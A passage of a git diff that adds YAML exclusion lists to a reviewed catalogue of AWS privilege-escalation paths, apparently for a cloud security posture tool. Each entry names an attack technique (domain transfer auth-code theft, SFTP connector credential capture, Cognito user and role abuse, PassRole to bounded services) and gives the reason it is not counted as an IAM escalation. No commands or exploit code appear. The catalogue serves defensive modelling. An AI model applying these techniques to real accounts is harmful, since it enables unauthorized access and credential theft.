src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mediapackage-post-exploitation/README.md#mediapackagerotatechannelcredentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md#mediapackagerotatechannelcredentials + source_revision: f2aa915198 + technique: mediapackage:RotateChannelCredentials + reason: Rotates ingest credentials; media-plane access/DoS, no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mediapackage-post-exploitation/README.md#mediapackagerotateingestendpointcredentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md#mediapackagerotateingestendpointcredentials + source_revision: f2aa915198 + technique: mediapackage:RotateIngestEndpointCredentials + reason: Rotates ingest credentials; media-plane access/DoS, no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mq-post-exploitation/README.md#mqcreateuser + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md#mqcreateuser + source_revision: f2aa915198 + technique: mq:CreateUser + reason: Creates broker users; message data access, no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mq-post-exploitation/README.md#mqupdateuser + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md#mqupdateuser + source_revision: f2aa915198 + technique: mq:UpdateUser + reason: Broker user change; message data access, no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-msk-post-exploitation/README.md#kafkaupdatesecurity-to-expose-private-topics-without-credentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md#kafkaupdatesecurity-to-expose-private-topics-without-credentials + source_revision: 1fb542ff27 + technique: kafka:UpdateSecurity + reason: Enables unauthenticated access to topics; data exposure, no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-domains-post-exploitation/README.md#route53domainsgetdomaindetail--read-domain-registration-contacts + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-route53-domains-privesc/README.md#route53domainsgetdomaindetail--read-domain-registration-contacts + source_revision: f2aa915198 + technique: route53domains:GetDomainDetail + reason: Read only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-domains-post-exploitation/README.md#route53domainsretrievedomainauthcode--steal-a-domain-transfer-credential + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-route53-domains-privesc/README.md#route53domainsretrievedomainauthcode--steal-a-domain-transfer-credential + source_revision: fd7d56b0a9 + technique: route53domains:RetrieveDomainAuthCode + reason: Domain transfer credential theft; external asset takeover, no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md#secretsmanagergetsecretvalue + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md#secretsmanagergetsecretvalue + source_revision: f2aa915198 + technique: secretsmanager:GetSecretValue + reason: Data read; any IAM keys stored in secrets are not modelable from the control plane. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md#secretsmanagergetresourcepolicy-secretsmanagerputresourcepolicy-secretsmanagerlistsecrets + source_revision: d11f0e7012 + technique: secretsmanager:PutResourcePolicy + reason: Only the exact same-account IAM-user GetSecretValue self-grant with accepted policy, prior denial, observed new access and KMS authorization is active as aws-secretsmanager-putresourcepolicy-self-grant. Cross-account, other-principal and unreviewed policy grants remain excluded. + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snssubscribe + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md#snssubscribe + source_revision: f2aa915198 + technique: sns:Subscribe + reason: Message data access. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md#snsaddpermission + source_revision: a53b46392c + technique: sns:AddPermission + reason: Grants topic access; data/messaging access only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md#invoke-a-lambda-by-abusing-wildcard-sns-permission-no-sourcearn + source_revision: a53b46392c + technique: Lambda invocation via wildcard SNS permission (no SourceArn) + reason: Invokes fixed Lambda code with attacker input; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md#sqsaddpermission + source_revision: a53b46392c + technique: sqs:AddPermission + reason: Grants queue access; data access only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workdocs-post-exploitation/README.md#workdocscreateuser + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md#workdocscreateuser + source_revision: fd7d56b0a9 + technique: workdocs:CreateUser + reason: Application-level user in WorkDocs; no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workdocs-post-exploitation/README.md#workdocs-activity-metadata-and-content-read-chain + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md#workdocs-activity-metadata-and-content-read-chain + source_revision: f2aa915198 + technique: WorkDocs activity/metadata/content read chain + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workdocs-post-exploitation/README.md#workdocsaddresourcepermissions + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md#workdocsaddresourcepermissions + source_revision: f2aa915198 + technique: workdocs:AddResourcePermissions + reason: Document access; data only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workdocs-post-exploitation/README.md#workdocsupdateuser + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md#workdocsupdateuser + source_revision: fd7d56b0a9 + technique: workdocs:UpdateUser + reason: Application-level role change inside WorkDocs; no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventsputtargets--eventsputevents--invoke-a-resource-policy-authorized-lambda + source_revision: a53b46392c + technique: events:PutTargets + events:PutEvents + reason: Invokes a fixed Lambda with attacker input; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventsputpermission--self-grant-publishing-through-a-bus-policy + source_revision: a53b46392c + technique: events:PutPermission + reason: Grants event-bus publishing; input injection only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventsputrule--enable-a-disabled-rule-with-its-existing-target + source_revision: a53b46392c + technique: events:PutRule (enable disabled rule) + reason: Runs an existing fixed target; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventsstartreplay--replay-retained-events-into-unchanged-targets + source_revision: a53b46392c + technique: events:StartReplay + reason: Replays events into fixed targets; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eventbridge-post-exploitation/README.md#eventsupdateapidestination--redirect-stored-connection-credentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eventbridge-privesc/README.md#eventsupdateapidestination--redirect-stored-connection-credentials + source_revision: f2aa915198 + technique: events:UpdateApiDestination + reason: Exfiltrates third-party API credentials from a connection; not an IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-dns-takeover-post-exploitation/README.md#route53createhostedzone-route53changeresourcerecordsets-acm-pcaissuecertificate-acm-pcagetcertificate-ec2describevpcs + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md#route53createhostedzone-route53changeresourcerecordsets-acm-pcaissuecertificate-acm-pcagetcertificate-ec2describevpcs + source_revision: fd7d56b0a9 + technique: route53:CreateHostedZone + ChangeResourceRecordSets + acm-pca:IssueCertificate + GetCertificate + reason: Traffic interception (MitM) of in-VPC clients; no IAM principal is obtained directly. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md#elasticbeanstalkdescribeenvironmentresources-elasticloadbalancingmodifyloadbalancerattributes-s3putbucketpolicy-s3listbucket-s3getobject-to-enable-alb-access-logs-exfiltration + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md#elasticbeanstalkdescribeenvironmentresources-elasticloadbalancingmodifyloadbalancerattributes-s3putbucketpolicy-s3listbucket-s3getobject-to-enable-alb-access-logs-exfiltration + source_revision: f2aa915198 + technique: ALB access-log exfiltration + reason: Exfiltration of request metadata; data only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#elasticmapreducecreateeditor-iamlistroles-elasticmapreducelistclusters-iampassrole-elasticmapreducedescribeeditor-elasticmapreduceopeneditorinconsole + source_revision: a53b46392c + technique: elasticmapreduce:CreateEditor + PassRole (EMR Notebooks) + reason: 'Outdated: legacy EMR Notebooks editor API is not in the current service model; cannot be verified.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#legacy-elasticmapreduceopeneditorinconsole-boundary + source_revision: a53b46392c + technique: elasticmapreduce:OpenEditorInConsole + reason: Outdated legacy notebook path; the page itself documents it as a boundary/non-path. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaaddpermission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaaddpermission + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: lambda:AddPermission (alone) + reason: Grants invoke on existing fixed code; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#expose-a-pre-existing-authtypenone-function-url + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#expose-a-pre-existing-authtypenone-function-url + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: Expose an existing AuthType NONE Function URL + reason: Exposure of fixed code; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaaddlayerversionpermission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaaddlayerversionpermission + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: lambda:AddLayerVersionPermission + reason: Shares layer code (read); data access. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambda-mitm + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambda-mitm + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: Lambda MitM + reason: Requires prior code execution in the function; persistence/interception, not a new edge. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaputprovisionedconcurrencyconfig--trigger-initialization-without-invocation + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaputprovisionedconcurrencyconfig--trigger-initialization-without-invocation + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: lambda:PutProvisionedConcurrencyConfig + reason: Triggers init of fixed code; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdagetfunction--download-a-function-deployment-package + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdagetfunction--download-a-function-deployment-package + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: lambda:GetFunction + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdagetfunctionconfiguration--read-environment-variables + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdagetfunctionconfiguration--read-environment-variables + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: lambda:GetFunctionConfiguration + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdagetlayerversion--download-layer-code + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdagetlayerversion--download-layer-code + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: lambda:GetLayerVersion + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdscreatedbinstance + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rdscreatedbinstance + source_revision: f2aa915198 + technique: rds:CreateDBInstance into an existing Aurora cluster + reason: Does not provide database credentials; no new identity without an existing DB login. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rdscreatebluegreendeployment-rdsaddroletodbcluster-iampassrole-rdsswitchoverbluegreendeployment + source_revision: a53b46392c + technique: rds:CreateBlueGreenDeployment + AddRoleToDBCluster + PassRole + SwitchoverBlueGreenDeployment + reason: Reachable set is a subset of aws-rds-addroletodbcluster-passrole; the additional actions add nothing to the target set. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3putbucketpolicy + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3putbucketpolicy + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: s3:PutBucketPolicy + reason: 'Grants bucket data access. Evaluator note: treat as implying s3:PutObject on that bucket for the artifact entries (s3/glue/emr/sagemaker/elasticbeanstalk).' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3getbucketacl-s3putbucketacl + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3getbucketacl-s3putbucketacl + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: s3:GetBucketAcl + s3:PutBucketAcl + reason: Grants bucket data access (only when ACLs are enabled); same evaluator note as PutBucketPolicy. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3getobjectacl-s3putobjectacl + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3getobjectacl-s3putobjectacl + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: s3:GetObjectAcl + s3:PutObjectAcl + reason: Object data access only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3getobjectversionacl-s3putobjectversionacl + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3getobjectversionacl-s3putobjectversionacl + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: s3:GetObjectVersionAcl + s3:PutObjectVersionAcl + reason: Object data access only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3putbucketcors + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3putbucketcors + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: s3:PutBucketCORS + reason: Browser cross-origin data access; no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-configuration-access-post-exploitation/README.md#sagemakercreatepresignedmlflowtrackingserverurl-sagemaker-mlflowaccessui-sagemaker-mlflowsearchexperiments + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreatepresignedmlflowtrackingserverurl-sagemaker-mlflowaccessui-sagemaker-mlflowsearchexperiments + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: sagemaker:CreatePresignedMlflowTrackingServerUrl + sagemaker-mlflow:* + reason: MLflow UI/artifact data access; no execution role obtained. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakercreateapp-sagemakercreatepresigneddomainurl + source_revision: a53b46392c + technique: sagemaker:CreateApp + CreatePresignedDomainUrl + reason: Subsumed by aws-sagemaker-createpresigneddomainurl (same target set, fewer permissions). +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md#sagemakerstartpipelineexecution--inject-parameters-into-privileged-steps + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerstartpipelineexecution--inject-parameters-into-privileged-steps + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: sagemaker:StartPipelineExecution + reason: Runs fixed pipeline steps with attacker parameters; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md#sagemakerretrypipelineexecution--replay-failed-steps-and-stored-parameters + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerretrypipelineexecution--replay-failed-steps-and-stored-parameters + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: sagemaker:RetryPipelineExecution + reason: Replays fixed steps; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md#datazonecreateuserprofile-and-iamgetuser-for-project-assignment-without-an-existing-profile + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#datazonecreateuserprofile-and-iamgetuser-for-project-assignment-without-an-existing-profile + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: datazone:CreateUserProfile + reason: A profile alone grants nothing; project membership (separate control) is needed to reach project roles. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-service-catalog-appregistry-post-exploitation/README.md#sensitive-cloudformation-outputs-with-servicecataloggetprovisionedproductoutputs + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-service-catalog-privesc/README.md#sensitive-cloudformation-outputs-with-servicecataloggetprovisionedproductoutputs + source_revision: f2aa915198 + technique: servicecatalog:GetProvisionedProductOutputs + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ssm-parameter-and-command-access-post-exploitation/README.md#ssmstartassociationsonce--run-a-stored-association-on-its-fixed-targets + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartassociationsonce--run-a-stored-association-on-its-fixed-targets + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: ssm:StartAssociationsOnce + reason: Runs fixed associations on fixed targets; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ssm-parameter-and-command-access-post-exploitation/README.md#ssmdescribeparameters-ssmgetparameter--ssmgetparameters--ssmgetparametersbypath + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmdescribeparameters-ssmgetparameter--ssmgetparameters--ssmgetparametersbypath + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: ssm:GetParameter(s) + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ssm-parameter-and-command-access-post-exploitation/README.md#ssmgetparameterhistory--recover-current-and-previous-parameter-values + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmgetparameterhistory--recover-current-and-previous-parameter-values + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: ssm:GetParameterHistory + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ssm-parameter-and-command-access-post-exploitation/README.md#ssmlistcommands + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmlistcommands + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: ssm:ListCommands + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ssm-parameter-and-command-access-post-exploitation/README.md#ssmgetcommandinvocation-ssmlistcommandinvocations--ssmlistcommands + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmgetcommandinvocation-ssmlistcommandinvocations--ssmlistcommands + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: ssm:GetCommandInvocation + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#codebuild + source_revision: a53b46392c + technique: SSM to CodeBuild session + reason: Cross-reference to the CodeBuild page (other agent); no SSM permission combination here. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-synthetics-privesc/README.md#syntheticsstartcanary--run-unchanged-canary-code-under-its-stored-role + source_revision: a53b46392c + technique: synthetics:StartCanary + reason: Runs fixed canary code; no control of code or role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#transferupdateconnector--redirect-an-sftp-connector-and-capture-its-stored-credential + source_revision: a53b46392c + technique: transfer:UpdateConnector + reason: Captures a third-party SFTP credential; not an IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-transfer-family-post-exploitation/README.md#transferstartfiletransfer--send-role-readable-s3-data-through-a-stored-connector + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#transferstartfiletransfer--send-role-readable-s3-data-through-a-stored-connector + source_revision: f2aa915198 + technique: transfer:StartFileTransfer + reason: Data exfiltration through a fixed connector role (the role only reads/sends files the caller selects); data access. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_bounded_service_role_overclaim_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_bounded_service_role_overclaim_20261016.yaml new file mode 100644 index 0000000000..76e487ed8c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_bounded_service_role_overclaim_20261016.yaml @@ -0,0 +1,47 @@ +# Role targets removed where the service exposes only bounded operations. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appflow-post-exploitation/README.md#createflowupdateflow--iampassrole-to-aws-glue-catalog-authority + technique: aws-appflow-passrole-glue-catalog + reason: AppFlow can make selected Glue Data Catalog metadata writes through the passed role, but does not give + Alice that role session or its general permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-region-switch-privesc/README.md#arc-region-switchcreateplan--updateplan--iampassrole--run-steps-as-the-execution-role + technique: aws-arc-region-switch-passrole-createplan + reason: ARC can run only configured plan step types through the role; the target cannot be the full passable IAM + role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-budgets-privesc/README.md#budgetscreatebudgetaction-iampassrole--budgetsexecutebudgetaction--self-attach-an-admin-policy--scp--run-code-as-a-passed-role + technique: aws-budgets-passrole-createbudgetaction + reason: Budget actions have only three bounded operation types. A direct IAM policy attachment may grant Alice + permissions, but the entry currently targets the full passed role instead of that exact gain. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chatbot-privesc/README.md#chatbotcreateslackchannelconfiguration--createmicrosoftteamschannelconfiguration--iampassrole + technique: aws-chatbot-passrole-create-channel-configuration + reason: Chat CLI requests are constrained by channel guardrails. The full role target overstates the authority + actually available. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-chime-sdk-post-exploitation/README.md#chimecreatemediainsightspipelineconfiguration--iampassrole + technique: aws-chime-passrole-mediainsightspipelineconfiguration + reason: The media pipeline can read/write only configured media sources and sinks; the entry explicitly says this + is not a role session. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datasync-privesc/README.md#datasynccreatelocations3-datasynccreatetask-datasyncstarttaskexecution-iampassrole + technique: aws-datasync-passrole-createlocations3-createtask + reason: DataSync transfers selected S3 data through the role; it does not yield the role identity or broad IAM + permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-fis-privesc/README.md#updateexperimenttemplate--startexperiment-through-the-stored-role + technique: aws-fis-updateexperimenttemplate-startexperiment + reason: FIS can perform only configured experiment actions through its stored role, so a full-role escalation + edge is unsupported. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md#redshiftmodifyclusteriamroles-iampassrole--redshift-serverlessupdatenamespace-iampassrole---repoint-the-databases-aws-role + technique: aws-redshift-passrole-attach-warehouse-role + reason: Attaching a role to a Redshift warehouse yields only SQL integration operations, not the full IAM role + session or permissions. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3createjob-s3-batch-operations-iampassrole--mass-copyexposelock-a-whole-bucket-as-a-passed-role + technique: aws-s3-batchoperations-passrole-createjob + reason: S3 Batch Operations executes a bounded S3/Lambda job. The source does not gain general access to the passed + role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-files-privesc/README.md#s3filescreatefilesystem-iampassrole--mount-any-buckets-data-as-a-chosen-role + technique: aws-s3files-passrole-createfilesystem + reason: S3 Files synchronizes selected S3 data through its role; it does not yield role credentials or broad permissions. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#transfercreateuserupdateusercreateaccessupdateaccess--iampassrole--attach-a-chosen-role-to-an-sftp-identity + technique: aws-transfer-passrole-createuser-access + reason: Transfer Family grants file access scoped to S3/EFS locations through its role, not the full passed role + identity. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#managed-workflow-role-abuse--execute-storage-actions-on-upload + technique: aws-transfer-workflow-passrole-updateserver + reason: Transfer workflow steps are fixed copy/tag/delete/decrypt/Lambda operations, not arbitrary IAM role permissions. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_cognito_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_cognito_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..a46a60e8b7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_cognito_strict_reaudit_20261016.yaml @@ -0,0 +1,87 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/cognito-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identitysetidentitypoolroles-iampassrole + source_revision: 171e422299 + technique: Set the roles of an identity pool the source can obtain credentials from + reason: SetIdentityPoolRoles and PassRole do not prove the source can obtain any + identity-pool login/token; role aud/amr and chosen pool are not joined. + prior_id: aws-cognito-setidentitypoolroles-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identityupdateidentitypool + source_revision: 171e422299 + technique: Add a provider the source controls to an identity pool + reason: The action may enable unauthenticated identities, but the target set includes + authenticated and rule-mapped roles without a verified source token or role slot. + prior_id: aws-cognito-updateidentitypool +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadminaddusertogroup + source_revision: 171e422299 + technique: Add a user-pool user the source controls to a group with an IAM role + reason: No source-controlled user credential or token-based group role mapping is + proved; group administration alone gives the source no role. + prior_id: aws-cognito-adminaddusertogroup +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpcreategroup--cognito-idpupdategroup-iampassrole + source_revision: 171e422299 + technique: Create or update a user-pool group with a passed role + reason: Creating/updating a group does not prove the source controls a member or + that this user pool/pool role mapping issues the passed role. + prior_id: aws-cognito-creategroup-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadminconfirmsignup + source_revision: 171e422299 + technique: Confirm a self-registered user-pool user + reason: Self-signup and ownership of the confirmed user are unverified; the target + selector includes rule-mapped roles without token claims. + prior_id: aws-cognito-adminconfirmsignup +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadmincreateuser + source_revision: 171e422299 + technique: Create a user in a user pool + reason: The source may create a user, but the selector includes rule-mapped roles + without verified app-client sign-in, token claims or the exact role slot. + prior_id: aws-cognito-admincreateuser +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadminsetuserpassword + source_revision: 171e422299 + technique: Set the password of an existing user-pool user + reason: Usable sign-in of a particular user (including MFA) and that user’s exact + mapped IAM role are unverified; the selector includes every rule role. + prior_id: aws-cognito-adminsetuserpassword +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpcreateuserimportjob--cognito-idpstartuserimportjob + source_revision: 171e422299 + technique: Import users with known passwords via a user import job + reason: Imported users enter RESET_REQUIRED and no usable reset/token is proved; + the selector includes unrelated rule-mapped roles. + prior_id: aws-cognito-userimportjob-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpcreateidentityprovider--cognito-idpupdateidentityprovider + source_revision: 171e422299 + technique: Add or change a federated identity provider of a user pool + reason: The app client accepting the new provider, controlled IdP login, and exact + token-to-role mapping are not proved. + prior_id: aws-cognito-create-update-identityprovider +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identitygetopenidtokenfordeveloperidentity--mint-credentials-for-the-pools-authenticated-role-with-no-account-at-all + source_revision: 171e422299 + technique: Mint a developer-authenticated identity token for an identity pool + reason: The target set includes the unauthenticated role and other mapped roles + even though the API yields a developer-authenticated token; exact slot missing. + prior_id: aws-cognito-getopenidtokenfordeveloperidentity +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identitysetprincipaltagattributemap--forge-the-session-tags-that-iam-conditions-trust + source_revision: 171e422299 + technique: Remap identity-pool principal tags to attributes the source controls + reason: No source-controlled token claim or ABAC permission differential is 